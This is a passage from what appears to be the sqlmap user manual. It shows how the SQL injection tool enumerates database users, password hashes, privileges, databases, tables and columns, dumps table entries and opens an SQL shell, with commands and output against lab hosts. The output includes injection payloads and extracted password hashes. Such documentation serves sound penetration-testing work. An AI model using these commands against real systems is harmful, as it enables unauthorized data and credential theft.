+
+
+It is possible to retrieve the database management system's user which is
+effectively performing the query on the database from the web application.
+
+
+Example on a MySQL 5.0.51 target:
+
+
+python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2" --current-user
+
+current user: 'testuser@localhost'
+
+
+
+Current database
+
+
+Option: --current-db
+
+
+It is possible to retrieve the database management system's database the
+web application is connected to.
+
+
+Example on a Microsoft SQL Server 2000 Service Pack 0 target:
+
+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1&cat=2" --current-db
+
+current database: 'master'
+
+
+
+Users
+
+
+Option: --users
+
+
+It is possible to enumerate the list of database management system users.
+
+
+Example on a PostgreSQL 8.2.7 target:
+
+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1&cat=2" --users
+
+database management system users [3]:
+[*] postgres
+[*] testuser
+[*] testuser2
+
+
+
+Users password hashes
+
+
+Options: --passwords and -U
+
+
+It is possible to enumerate the password hashes for each database
+management system user.
+
+
+Example on a MySQL 5.0.51 target:
+
+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2" --passwords
+
+[*] debian-sys-maint [1]:
+ password hash: *BBDC22D2B1E18F8628B2922864A621B32A1B1892
+[*] root [1]:
+ password hash: *81F5E21E35407D884A6CD4A731AEBFB6AF209E1B
+[*] testuser [1]:
+ password hash: *00E247AC5F9AF26AE0194B41E1E769DEE1429A29
+
+
+
+You can also provide the -U option to specify the user who you
+want to enumerate the password hashes.
+
+
+Example on a Microsoft SQL Server 2000 Service Pack 0 target:
+
+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1&cat=2" --passwords \
+ -U sa
+
+database management system users password hashes:
+[*] sa [1]:
+ password hash: 0x01000e16d704aa252b7c38d1aeae18756e98172f4b34104d8ee32c2f01b293b03edb7491f
+ba9930b62ee5d506955
+ header: 0x0100
+ salt: 0e16d704
+ mixedcase: aa252b7c38d1aeae18756e98172f4b34104d8ee3
+ uppercase: 2c2f01b293b03edb7491fba9930b62ee5d506955
+
+
+
+As you can see, when you enumerate password hashes on Microsoft SQL Server
+sqlmap split the hash, useful if you want to crack it.
+
+
+Users privileges
+
+
+Options: --privileges and -U
+
+
+It is possible to enumerate the privileges for each database management
+system user.
+
+
+Example on an Oracle XE 10.2.0.1 target:
+
+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/oracle/get_int.php?id=1&cat=2" --privileges
+
+[hh:mm:25] [WARNING] unable to retrieve the number of privileges for user 'ANONYMOUS'
+[hh:mm:28] [WARNING] unable to retrieve the number of privileges for user 'DIP'
+database management system users privileges:
+[*] CTXSYS [2]:
+ privilege: CTXAPP
+ privilege: RESOURCE
+[*] DBSNMP [1]:
+ privilege: OEM_MONITOR
+[*] FLOWS_020100 (administrator) [4]:
+ privilege: CONNECT
+ privilege: DBA
+ privilege: RESOURCE
+ privilege: SELECT_CATALOG_ROLE
+[*] FLOWS_FILES [2]:
+ privilege: CONNECT
+ privilege: RESOURCE
+[*] HR (administrator) [3]:
+ privilege: CONNECT
+ privilege: DBA
+ privilege: RESOURCE
+[*] MDSYS [2]:
+ privilege: CONNECT
+ privilege: RESOURCE
+[*] OUTLN [1]:
+ privilege: RESOURCE
+[*] SYS (administrator) [22]:
+ privilege: AQ_ADMINISTRATOR_ROLE
+ privilege: AQ_USER_ROLE
+ privilege: AUTHENTICATEDUSER
+ privilege: CONNECT
+ privilege: CTXAPP
+ privilege: DBA
+ privilege: DELETE_CATALOG_ROLE
+ privilege: EXECUTE_CATALOG_ROLE
+ privilege: EXP_FULL_DATABASE
+ privilege: GATHER_SYSTEM_STATISTICS
+ privilege: HS_ADMIN_ROLE
+ privilege: IMP_FULL_DATABASE
+ privilege: LOGSTDBY_ADMINISTRATOR
+ privilege: OEM_ADVISOR
+ privilege: OEM_MONITOR
+ privilege: PLUSTRACE
+ privilege: RECOVERY_CATALOG_OWNER
+ privilege: RESOURCE
+ privilege: SCHEDULER_ADMIN
+ privilege: SELECT_CATALOG_ROLE
+ privilege: XDBADMIN
+ privilege: XDBWEBSERVICES
+[*] SYSTEM (administrator) [2]:
+ privilege: AQ_ADMINISTRATOR_ROLE
+ privilege: DBA
+[*] TSMSYS [1]:
+ privilege: RESOURCE
+[*] XDB [2]:
+ privilege: CTXAPP
+ privilege: RESOURCE
+
+
+
+You can also provide the -U option to specify the user who you
+want to enumerate the privileges.
+
+
+Example on a PostgreSQL 8.2.7 target:
+
+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1&cat=2" --privileges \
+ -U postgres
+
+database management system users privileges:
+[*] postgres (administrator) [3]:
+ privilege: catupd
+ privilege: createdb
+ privilege: super
+
+
+
+As you can see, depending on the user privileges, sqlmap identifies if the
+user is a database management system administrator and show after the
+username this information.
+
+
+Note that this feature is not available if the back-end database
+management system is Microsoft SQL Server.
+
+
+Available databases
+
+
+Option: --dbs
+
+
+It is possible to enumerate the list of databases.
+
+
+Example on a Microsoft SQL Server 2000 Service Pack 0 target:
+
+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1&cat=2" --dbs
+
+available databases [6]:
+[*] master
+[*] model
+[*] msdb
+[*] Northwind
+[*] pubs
+[*] tempdb
+
+
+
+Note that this feature is not available if the back-end database
+management system is Oracle.
+
+Databases tables
+
+
+Options: --tables and -D
+
+
+It is possible to enumerate the list of tables for all database
+manangement system's databases.
+
+
+Example on a MySQL 5.0.51 target:
+
+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2" --tables
+
+Database: test
+[1 table]
++---------------------------------------+
+| users |
++---------------------------------------+
+
+Database: information_schema
+[17 tables]
++---------------------------------------+
+| CHARACTER_SETS |
+| COLLATION_CHARACTER_SET_APPLICABILITY |
+| COLLATIONS |
+| COLUMN_PRIVILEGES |
+| COLUMNS |
+| KEY_COLUMN_USAGE |
+| PROFILING |
+| ROUTINES |
+| SCHEMA_PRIVILEGES |
+| SCHEMATA |
+| STATISTICS |
+| TABLE_CONSTRAINTS |
+| TABLE_PRIVILEGES |
+| TABLES |
+| TRIGGERS |
+| USER_PRIVILEGES |
+| VIEWS |
++---------------------------------------+
+
+Database: mysql
+[17 tables]
++---------------------------------------+
+| columns_priv |
+| db |
+| func |
+| help_category |
+| help_keyword |
+| help_relation |
+| help_topic |
+| host |
+| proc |
+| procs_priv |
+| tables_priv |
+| time_zone |
+| time_zone_leap_second |
+| time_zone_name |
+| time_zone_transition |
+| time_zone_transition_type |
+| user |
++---------------------------------------+
+
+
+
+You can also provide the -D option to specify the database
+that you want to enumerate the tables.
+
+
+Example on a MySQL 5.0.51 target:
+
+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2" --tables \
+ -D test
+
+Database: test
+[1 table]
++---------------------------------------+
+| users |
++---------------------------------------+
+
+
+
+Example on an Oracle XE 10.2.0.1 target:
+
+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/oracle/get_int.php?id=1&cat=2" --tables \
+ -D users
+
+Database: USERS
+[8 tables]
++-------------------+
+| DEPARTMENTS |
+| EMPLOYEES |
+| HTMLDB_PLAN_TABLE |
+| JOB_HISTORY |
+| JOBS |
+| LOCATIONS |
+| REGIONS |
+| USERS |
++-------------------+
+
+
+
+Note that on Oracle you have to provide the TABLESPACE_NAME
+instead of the database name, in my example that is users to
+retrieve all tables owned by an Oracle database management system
+user.
+
+
+Database table columns
+
+
+Options: --columns, -T and -D
+
+
+It is possible to enumerate the list of columns for a specific database
+table.
+This functionality depends on both -T to specify the table name
+and on -D to specify the database name.
+
+
+Example on a Microsoft SQL Server 2000 Service Pack 0 target:
+
+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1&cat=2" --columns \
+ -T users -D master
+
+Database: master
+Table: users
+[3 columns]
++---------+---------+
+| Column | Type |
++---------+---------+
+| id | int |
+| name | varchar |
+| surname | varchar |
++---------+---------+
+
+
+
+Example on a PostgreSQL 8.2.7 target:
+
+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1&cat=2" --columns \
+ -T users -D public
+
+Database: public
+Table: users
+[3 columns]
++---------+--------+
+| Column | Type |
++---------+--------+
+| id | int4 |
+| name | bpchar |
+| surname | bpchar |
++---------+--------+
+
+
+
+Note that on PostgreSQL you have to provide public or the
+name of a system database because it is not possible to enumerate other
+databases tables, only the users' schema that the web application's user
+is connected to, which is always public.
+
+
+Dump database tables entries
+
+
+Options: --dump, -C, -T and -D
+
+
+It is possible to dump the entries for a specific database table.
+This functionality depends on both -T to specify the table name
+and on -D to specify the database name.
+
+
+Example on a MySQL 5.0.51 target:
+
+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2" --dump \
+ -T users -D test
+
+Database: test
+Table: users
+[5 entries]
++----+--------------------------------------------+-------------------+
+| id | name | surname |
++----+--------------------------------------------+-------------------+
+| 1 | luther | blissett |
+| 2 | fluffy | bunny |
+| 3 | wu | ming |
+| 4 | sqlmap/0.6 (http://sqlmap.sourceforge.net) | user agent header |
+| 5 | NULL | nameisnull |
++----+--------------------------------------------+-------------------+
+
+
+
+You can also provide the -C option to specify the table column
+that you want to enumerate the entries.
+
+
+Example on a Microsoft SQL Server 2000 Service Pack 0 target:
+
+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1&cat=2" --dump \
+ -T users -D master -C surname
+
+Database: master
+Table: users
+[5 entries]
++-------------------+
+| surname |
++-------------------+
+| blisset |
+| bunny |
+| ming |
+| nameisnull |
+| user agent header |
++-------------------+
+
+
+
+sqlmap also stores for each table the dumped entries in a CSV format file.
+You can see the absolute path where it stored the dumped tables entries
+by providing a verbosity level greater than or equal to 1.
+
+
+Example on a PostgreSQL 8.2.7 target:
+
+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1&cat=2" --dump \
+ -T users -D public -v 1
+
+[...]
+Database: public
+Table: users
+[5 entries]
++----+--------------------------------------------+-------------------+
+| id | name | surname |
++----+--------------------------------------------+-------------------+
+| 1 | luther | blissett |
+| 2 | fluffy | bunny |
+| 3 | wu | ming |
+| 4 | sqlmap/0.6 (http://sqlmap.sourceforge.net) | user agent header |
+| 5 | | nameisnull |
++----+--------------------------------------------+-------------------+
+
+[hh:mm:59] [INFO] Table 'public.users' dumped to CSV file '/software/sqlmap/output/
+192.168.1.121/dump/public/users.csv'
+[hh:mm:59] [INFO] Fetched data logged to text files under '/software/sqlmap/output/
+192.168.1.121'
+
+$ cat /software/sqlmap/output/192.168.1.121/dump/public/users.csv
+"id","name","surname"
+"1","luther","blissett"
+"2","fluffy","bunny"
+"3","wu","ming"
+"4","sqlmap/0.6 (http://sqlmap.sourceforge.net)","user agent header"
+"5","","nameisnull"
+
+
+
+Dump all databases tables entries
+
+
+Options: --dump-all and --exclude-sysdbs
+
+
+It is possible to dump all databases tables entries at once.
+
+Example on a MySQL 5.0.51 target:
+
+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2" --dump-all
+
+Database: test
+Table: users
+[5 entries]
++----+--------------------------------------------+-------------------+
+| id | name | surname |
++----+--------------------------------------------+-------------------+
+| 1 | luther | blissett |
+| 2 | fluffy | bunny |
+| 3 | wu | ming |
+| 4 | sqlmap/0.6 (http://sqlmap.sourceforge.net) | user agent header |
+| 5 | NULL | nameisnull |
++----+--------------------------------------------+-------------------+
+
+Database: information_schema
+Table: CHARACTER_SETS
+[36 entries]
++--------------------+----------------------+-----------------------------+--------+
+| CHARACTER_SET_NAME | DEFAULT_COLLATE_NAME | DESCRIPTION | MAXLEN |
++--------------------+----------------------+-----------------------------+--------+
+| tis620 | tis620_thai_ci | TIS620 Thai | 1 |
+| macroman | macroman_general_ci | Mac West European | 1 |
+| dec8 | dec8_swedish_ci | DEC West European | 1 |
+| ujis | ujis_japanese_ci | EUC-JP Japanese | 3 |
+| eucjpms | eucjpms_japanese_ci | UJIS for Windows Japanese | 3 |
+| armscii8 | armscii8_general_ci | ARMSCII-8 Armenian | 1 |
+| ucs2 | ucs2_general_ci | UCS-2 Unicode | 2 |
+| hp8 | hp8_english_ci | HP West European | 1 |
+| latin2 | latin2_general_ci | ISO 8859-2 Central European | 1 |
+| koi8u | koi8u_general_ci | KOI8-U Ukrainian | 1 |
+| keybcs2 | keybcs2_general_ci | DOS Kamenicky Czech-Slovak | 1 |
+| ascii | ascii_general_ci | US ASCII | 1 |
+| cp866 | cp866_general_ci | DOS Russian | 1 |
+| cp1256 | cp1256_general_ci | Windows Arabic | 1 |
+| macce | macce_general_ci | Mac Central European | 1 |
+| sjis | sjis_japanese_ci | Shift-JIS Japanese | 2 |
+| geostd8 | geostd8_general_ci | GEOSTD8 Georgian | 1 |
+| cp1257 | cp1257_general_ci | Windows Baltic | 1 |
+| cp852 | cp852_general_ci | DOS Central European | 1 |
+| euckr | euckr_korean_ci | EUC-KR Korean | 2 |
+| cp1250 | cp1250_general_ci | Windows Central European | 1 |
+| cp1251 | cp1251_general_ci | Windows Cyrillic | 1 |
+| binary | binary | Binary pseudo charset | 1 |
+| big5 | big5_chinese_ci | Big5 Traditional Chinese | 2 |
+| gb2312 | gb2312_chinese_ci | GB2312 Simplified Chinese | 2 |
+| hebrew | hebrew_general_ci | ISO 8859-8 Hebrew | 1 |
+| koi8r | koi8r_general_ci | KOI8-R Relcom Russian | 1 |
+| greek | greek_general_ci | ISO 8859-7 Greek | 1 |
+| cp850 | cp850_general_ci | DOS West European | 1 |
+| utf8 | utf8_general_ci | UTF-8 Unicode | 3 |
+| latin1 | latin1_swedish_ci | cp1252 West European | 1 |
+| latin7 | latin7_general_ci | ISO 8859-13 Baltic | 1 |
+| cp932 | cp932_japanese_ci | SJIS for Windows Japanese | 2 |
+| latin5 | latin5_turkish_ci | ISO 8859-9 Turkish | 1 |
+| swe7 | swe7_swedish_ci | 7bit Swedish | 1 |
+| gbk | gbk_chinese_ci | GBK Simplified Chinese | 2 |
++--------------------+----------------------+-----------------------------+--------+
+
+[...]
+
+
+
+You can also provide the --exclude-sysdbs option to exclude all
+system databases so that sqlmap will only dump entries of users' databases
+tables.
+
+
+Example on a Microsoft SQL Server 2000 Service Pack 0 target:
+
+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1&cat=2" --dump-all \
+ --exclude-sysdbs
+
+Database: master
+Table: spt_datatype_info_ext
+[10 entries]
++----------------+-----------------+-----------+-----------+
+| AUTO_INCREMENT | CREATE_PARAMS | typename | user_type |
++----------------+-----------------+-----------+-----------+
+| 0 | length | char | 175 |
+| 0 | precision,scale | numeric | 108 |
+| 0 | max length | varbinary | 165 |
+| 0 | precision,scale | decimal | 106 |
+| 1 | precision | numeric | 108 |
+| 0 | length | nchar | 239 |
+| 0 | max length | nvarchar | 231 |
+| 0 | length | binary | 173 |
+| 0 | max length | varchar | 167 |
+| 1 | precision | decimal | 106 |
++----------------+-----------------+-----------+-----------+
+
+[...]
+
+Database: master
+Table: users
+[5 entries]
++----+--------------------------------------------+-------------------+
+| id | name | surname |
++----+--------------------------------------------+-------------------+
+| 4 | sqlmap/0.6 (http://sqlmap.sourceforge.net) | user agent header |
+| 2 | fluffy | bunny |
+| 1 | luther | blisset |
+| 3 | wu | ming |
+| 5 | NULL | nameisnull |
++----+--------------------------------------------+-------------------+
+
+[...]
+
+
+
+Note that on Microsoft SQL Server the master database is not
+considered a system database because some database administrators use it
+as a users' database.
+
+
+Run your own SQL SELECT statement
+
+
+Options: --sql-query and --sql-shell
+
+
+The SQL query and the SQL shell features makes the user able to run
+whatever SELECT statement on the web application's back-end
+database management system and retrieve its output.
+
+
+Examples on a Microsoft SQL Server 2000 Service Pack 0 target:
+
+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1&cat=2" --sql-query \
+ "SELECT 'foo'" -v 1
+
+[...]
+[hh:mm:14] [INFO] fetching SQL SELECT query output: 'SELECT 'foo''
+[hh:mm:14] [INFO] query: SELECT ISNULL(CAST((CHAR(102)+CHAR(111)+CHAR(111)) AS VARCHAR(8000)),
+(CHAR(32)))
+[hh:mm:14] [INFO] retrieved: foo
+[hh:mm:14] [INFO] performed 27 queries in 0 seconds
+SELECT 'foo': 'foo'
+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1&cat=2" --sql-query \
+ "SELECT 'foo', 'bar'" -v 1
+
+[...]
+[hh:mm:50] [INFO] fetching SQL SELECT query output: 'SELECT 'foo', 'bar''
+[hh:mm:50] [INFO] the SQL query provided has more than a field. sqlmap will now unpack it into
+distinct queries to be able to retrieve the output even if we are going blind
+[hh:mm:50] [INFO] query: SELECT ISNULL(CAST((CHAR(102)+CHAR(111)+CHAR(111)) AS VARCHAR(8000)),
+(CHAR(32)))
+[hh:mm:50] [INFO] retrieved: foo
+[hh:mm:50] [INFO] performed 27 queries in 0 seconds
+[hh:mm:50] [INFO] query: SELECT ISNULL(CAST((CHAR(98)+CHAR(97)+CHAR(114)) AS VARCHAR(8000)),
+(CHAR(32)))
+[hh:mm:50] [INFO] retrieved: bar
+[hh:mm:50] [INFO] performed 27 queries in 0 seconds
+SELECT 'foo', 'bar': 'foo, bar'
+
+
+
+As you can see from this last example, sqlmap splits the query in two
+different SELECT statement to be able to retrieve the output even
+in blind SQL injection technique.
+Otherwise in inband SQL injection technique it only perform a single HTTP
+request to get the user's query output:
+
+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1&cat=2" --sql-query \
+ "SELECT 'foo', 'bar'" -v 1 --union-use
+
+[...]
+[hh:mm:03] [INFO] fetching SQL SELECT query output: 'SELECT 'foo', 'bar''
+[hh:mm:03] [INFO] testing inband sql injection on parameter 'id'
+[hh:mm:03] [INFO] the target url could be affected by an inband sql injection vulnerability
+[hh:mm:03] [INFO] confirming inband sql injection on parameter 'id'
+[hh:mm:03] [INFO] the target url is affected by an exploitable inband sql injection
+vulnerability
+[hh:mm:03] [INFO] query: UNION ALL SELECT NULL, (CHAR(77)+CHAR(68)+CHAR(75)+CHAR(104)+
+CHAR(70)+CHAR(67))+ISNULL(CAST((CHAR(102)+CHAR(111)+CHAR(111)) AS VARCHAR(8000)), (CHAR(32)))
++(CHAR(105)+CHAR(65)+CHAR(119)+CHAR(105)+CHAR(108)+CHAR(108))+ISNULL(CAST((CHAR(98)+CHAR(97)+
+CHAR(114)) AS VARCHAR(8000)), (CHAR(32)))+(CHAR(66)+CHAR(78)+CHAR(104)+CHAR(75)+CHAR(114)+
+CHAR(116)), NULL-- AND 8373=8373
+[hh:mm:03] [INFO] performed 3 queries in 0 seconds
+SELECT 'foo', 'bar' [1]:
+[*] foo, bar
+
+
+
+Examples on an Oracle XE 10.2.0.1 target:
+
+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/oracle/get_int.php?id=1&cat=2" --sql-query \
+ "SELECT 'foo' FROM dual"
+
+[hh:mm:04] [INPUT] does the SQL query that you provide might return multiple entries? [Y/n] n
+SELECT 'foo' FROM dual: 'foo'
+
+
+
+As you can see, if your SELECT statement contains a FROM
+clause, sqlmap asks the user if such statement can return multiple entries
+and in such case the tool knows how to unpack the query correctly to
+retrieve its whole output line per line.
+
+Example on a PostgreSQL 8.2.7 target:
+
+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1&cat=2" --sql-query \
+ "SELECT usename FROM pg_user"
+
+[hh:mm:47] [INPUT] does the SQL query that you provide might return multiple entries? [Y/n] y
+[hh:mm:48] [INPUT] the SQL query that you provide can return up to 3 entries. How many entries
+do you want to retrieve?
+[a] All (default)
+[#] Specific number
+[q] Quit
+Choice: 2
+SELECT usename FROM pg_user [2]:
+[*] postgres
+[*] testuser
+
+
+
+As you can see, in the last example sqlmap counts the number of entries
+for your query and asks how many entries from the top you want to dump.
+Otherwise if you specify also the LIMIT, or similar, clause
+sqlmap will not ask anything, just unpack the query and return its
+output.
+
+
+Example on a MySQL 5.0.51 target:
+
+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2" --sql-query \
+ "SELECT user, host, password FROM mysql.user LIMIT 1, 3" -v 1
+
+[...]
+back-end DBMS: MySQL >= 5.0.0
+
+[hh:mm:11] [INFO] fetching SQL SELECT query output: 'SELECT user, host, password FROM
+mysql.user LIMIT 1, 3'
+[hh:mm:12] [INFO] the SQL query provided has more than a field. sqlmap will now unpack
+it into distinct queries to be able to retrieve the output even if we are going blind
+[hh:mm:12] [INFO] query: SELECT IFNULL(CAST(user AS CHAR(10000)), CHAR(32)) FROM mysql.user
+ORDER BY user ASC LIMIT 1, 1
+[hh:mm:12] [INFO] retrieved: root
+[hh:mm:12] [INFO] performed 34 queries in 0 seconds
+[hh:mm:12] [INFO] query: SELECT IFNULL(CAST(host AS CHAR(10000)), CHAR(32)) FROM mysql.user
+ORDER BY user ASC LIMIT 1, 1
+[hh:mm:12] [INFO] retrieved: localhost
+[hh:mm:12] [INFO] performed 69 queries in 0 seconds
+[hh:mm:12] [INFO] query: SELECT IFNULL(CAST(password AS CHAR(10000)), CHAR(32)) FROM mysql.user
+ORDER BY user ASC LIMIT 1, 1
+[hh:mm:12] [INFO] retrieved: *81F5E21E35407D884A6CD4A731AEBFB6AF209E1B
+[hh:mm:13] [INFO] performed 293 queries in 0 seconds
+[hh:mm:13] [INFO] query: SELECT IFNULL(CAST(user AS CHAR(10000)), CHAR(32)) FROM mysql.user
+ORDER BY user ASC LIMIT 2, 1
+[hh:mm:13] [INFO] retrieved: root
+[hh:mm:13] [INFO] performed 34 queries in 0 seconds
+[hh:mm:13] [INFO] query: SELECT IFNULL(CAST(host AS CHAR(10000)), CHAR(32)) FROM mysql.user
+ORDER BY user ASC LIMIT 2, 1
+[hh:mm:13] [INFO] retrieved: leboyer
+[hh:mm:13] [INFO] performed 55 queries in 0 seconds
+[hh:mm:13] [INFO] query: SELECT IFNULL(CAST(password AS CHAR(10000)), CHAR(32)) FROM mysql.user
+ORDER BY user ASC LIMIT 2, 1
+[hh:mm:13] [INFO] retrieved: *81F5E21E35407D884A6CD4A731AEBFB6AF209E1B
+[hh:mm:14] [INFO] performed 293 queries in 0 seconds
+[hh:mm:14] [INFO] query: SELECT IFNULL(CAST(user AS CHAR(10000)), CHAR(32)) FROM mysql.user
+ORDER BY user ASC LIMIT 3, 1
+[hh:mm:14] [INFO] retrieved: root
+[hh:mm:14] [INFO] performed 34 queries in 0 seconds
+[hh:mm:14] [INFO] query: SELECT IFNULL(CAST(host AS CHAR(10000)), CHAR(32)) FROM mysql.user
+ORDER BY user ASC LIMIT 3, 1
+[hh:mm:14] [INFO] retrieved: 127.0.0.1
+[hh:mm:14] [INFO] performed 69 queries in 0 seconds
+[hh:mm:14] [INFO] query: SELECT IFNULL(CAST(password AS CHAR(10000)), CHAR(32)) FROM mysql.user
+ORDER BY user ASC LIMIT 3, 1
+[hh:mm:14] [INFO] retrieved: *81F5E21E35407D884A6CD4A731AEBFB6AF209E1B
+[hh:mm:15] [INFO] performed 293 queries in 0 seconds
+SELECT user, host, password FROM mysql.user LIMIT 1, 3 [3]:
+[*] root, localhost, *81F5E21E35407D884A6CD4A731AEBFB6AF209E1B
+[*] root, leboyer, *81F5E21E35407D884A6CD4A731AEBFB6AF209E1B
+[*] root, 127.0.0.1, *81F5E21E35407D884A6CD4A731AEBFB6AF209E1B
+
+
+
+The SQL shell option gives you access to run your own SQL SELECT
+statement interactively, like a SQL console logged into the back-end
+database management system.
+This feature has TAB completion and history support.
+
+
+Example of history support on a PostgreSQL 8.2.7 target:
+
+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1&cat=2" --sql-shell
+
+sql> SELECT 'foo'
+SELECT 'foo': 'foo'
+
+sql> [UP arrow key shows the just run SQL SELECT statement, DOWN arrow key cleans the shell]
+sql> SELECT version()
+SELECT version(): 'PostgreSQL 8.2.7 on i486-pc-linux-gnu, compiled by GCC cc (GCC) 4.2.3
+(Ubuntu 4.2.3-2ubuntu4)'
+
+sql> exit
+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1&cat=2" --sql-shell
+
+sql> [UP arrow key shows 'exit', then DOWN arrow key clean the shell]
+sql> SELECT usename, passwd FROM pg_shadow ORDER BY usename
+[hh:mm:45] [INPUT] does the SQL query that you provide might return multiple entries? [Y/n] y
+[hh:mm:46] [INPUT] the SQL query that you provide can return up to 3 entries. How many entries
+do you want to retrieve?
+[a] All (default)
+[#] Specific number
+[q] Quit
+Choice:
+SELECT usename, passwd FROM pg_shadow ORDER BY usename [3]:
+[*] postgres, md5d7d880f96044b72d0bba108ace96d1e4
+[*] testuser, md599e5ea7a6f7c3269995cba3927fd0093
+[*] testuser2,
+
+
+
+Example of TAB completion on a MySQL 5.0.51 target:
+
+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2" --sql-shell
+
+sql> [TAB TAB]
+AND ORD(MID((%s), %d, 1)) > %d
+CAST(%s AS CHAR(10000))
+COUNT(%s)
+CURRENT_USER()
+DATABASE()
+IFNULL(%s, ' ')
+LENGTH(%s)
+LIMIT %d, %d
+MID((%s), %d, %d)
+ORDER BY %s ASC
+SELECT %s FROM %s.%s
+SELECT column_name, column_type FROM information_schema.COLUMNS WHERE table_name='%s' AND
+table_schema='%s'
+SELECT grantee FROM information_schema.USER_PRIVILEGES
+SELECT grantee, privilege_type FROM information_schema.USER_PRIVILEGES
+SELECT schema_name FROM information_schema.SCHEMATA
+SELECT table_schema, table_name FROM information_schema.TABLES
+SELECT user, password FROM mysql.user
+VERSION()
+sql> SE[TAB]
+sql> SELECT
+
+
+
+As you can see the TAB functionality shows the queries defined for the
+back-end database management system in sqlmap XML queries file, but you
+can run whatever SELECT statement that you want.
+
+
+Example of asterisk expansion on a MySQL 5.0.51 target:
+
+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2" --sql-shell \
+ -v 1
+
+[...]
+[hh:mm:40] [INFO] calling MySQL shell. To quit type 'x' or 'q' and press ENTER
+sql> SELECT * FROM test.users
+[hh:mm:48] [INFO] fetching SQL SELECT query output: 'SELECT * FROM test.users'
+[hh:mm:48] [INFO] you did not provide the fields in your query. sqlmap will retrieve the column
+names itself.
+[hh:mm:48] [INFO] fetching columns for table 'users' on database 'test'
+[hh:mm:48] [INFO] fetching number of columns for table 'users' on database 'test'
+[hh:mm:48] [INFO] query: SELECT IFNULL(CAST(COUNT(column_name) AS CHAR(10000)), CHAR(32)) FROM
+information_schema.COLUMNS WHERE table_name=CHAR(117,115,101,114,115) AND
+table_schema=CHAR(116,101,115,116)
+[hh:mm:48] [INFO] retrieved: 3
+[hh:mm:48] [INFO] performed 13 queries in 0 seconds
+[hh:mm:48] [INFO] query: SELECT IFNULL(CAST(column_name AS CHAR(10000)), CHAR(32)) FROM
+information_schema.COLUMNS WHERE table_name=CHAR(117,115,101,114,115) AND
+table_schema=CHAR(116,101,115,116) LIMIT 0, 1
+[hh:mm:48] [INFO] retrieved: id
+[hh:mm:48] [INFO] performed 20 queries in 0 seconds
+[hh:mm:48] [INFO] query: SELECT IFNULL(CAST(column_name AS CHAR(10000)), CHAR(32)) FROM
+information_schema.COLUMNS WHERE table_name=CHAR(117,115,101,114,115) AND
+table_schema=CHAR(116,101,115,116) LIMIT 1, 1
+[hh:mm:48] [INFO] retrieved: name
+[hh:mm:48] [INFO] performed 34 queries in 0 seconds
+[hh:mm:48] [INFO] query: SELECT IFNULL(CAST(column_name AS CHAR(10000)), CHAR(32)) FROM
+information_schema.COLUMNS WHERE table_name=CHAR(117,115,101,114,115) AND
+table_schema=CHAR(116,101,115,116) LIMIT 2, 1
+[hh:mm:48] [INFO] retrieved: surname
+[hh:mm:48] [INFO] performed 55 queries in 0 seconds
+[hh:mm:48] [INFO] the query with column names is: SELECT id, name, surname FROM test.users
+[hh:mm:48] [INPUT] does the SQL query that you provide might return multiple entries? [Y/n] y
+[hh:mm:04] [INFO] query: SELECT IFNULL(CAST(COUNT(id) AS CHAR(10000)), CHAR(32)) FROM test.users
+[hh:mm:04] [INFO] retrieved: 5
+[hh:mm:04] [INFO] performed 13 queries in 0 seconds
+[hh:mm:04] [INPUT] the SQL query that you provide can return up to 5 entries. How many entries
+do you want to retrieve?
+[a] All (default)
+[#] Specific number
+[q] Quit
+Choice: 3
+[hh:mm:09] [INFO] sqlmap is now going to retrieve the first 3 query output entries
+[hh:mm:09] [INFO] query: SELECT IFNULL(CAST(id AS CHAR(10000)), CHAR(32)) FROM test.users
+ORDER BY id ASC LIMIT 0, 1
+[hh:mm:09] [INFO] retrieved: 1
+[hh:mm:09] [INFO] performed 13 queries in 0 seconds
+[hh:mm:09] [INFO] query: SELECT IFNULL(CAST(name AS CHAR(10000)), CHAR(32)) FROM test.users
+ORDER BY id ASC LIMIT 0, 1
+[hh:mm:09] [INFO] retrieved: luther
+[hh:mm:09] [INFO] performed 48 queries in 0 seconds
+[hh:mm:09] [INFO] query: SELECT IFNULL(CAST(surname AS CHAR(10000)), CHAR(32)) FROM test.users
+ORDER BY id ASC LIMIT 0, 1
+[hh:mm:09] [INFO] retrieved: blissett
+[hh:mm:09] [INFO] performed 62 queries in 0 seconds
+[hh:mm:09] [INFO] query: SELECT IFNULL(CAST(id AS CHAR(10000)), CHAR(32)) FROM test.users
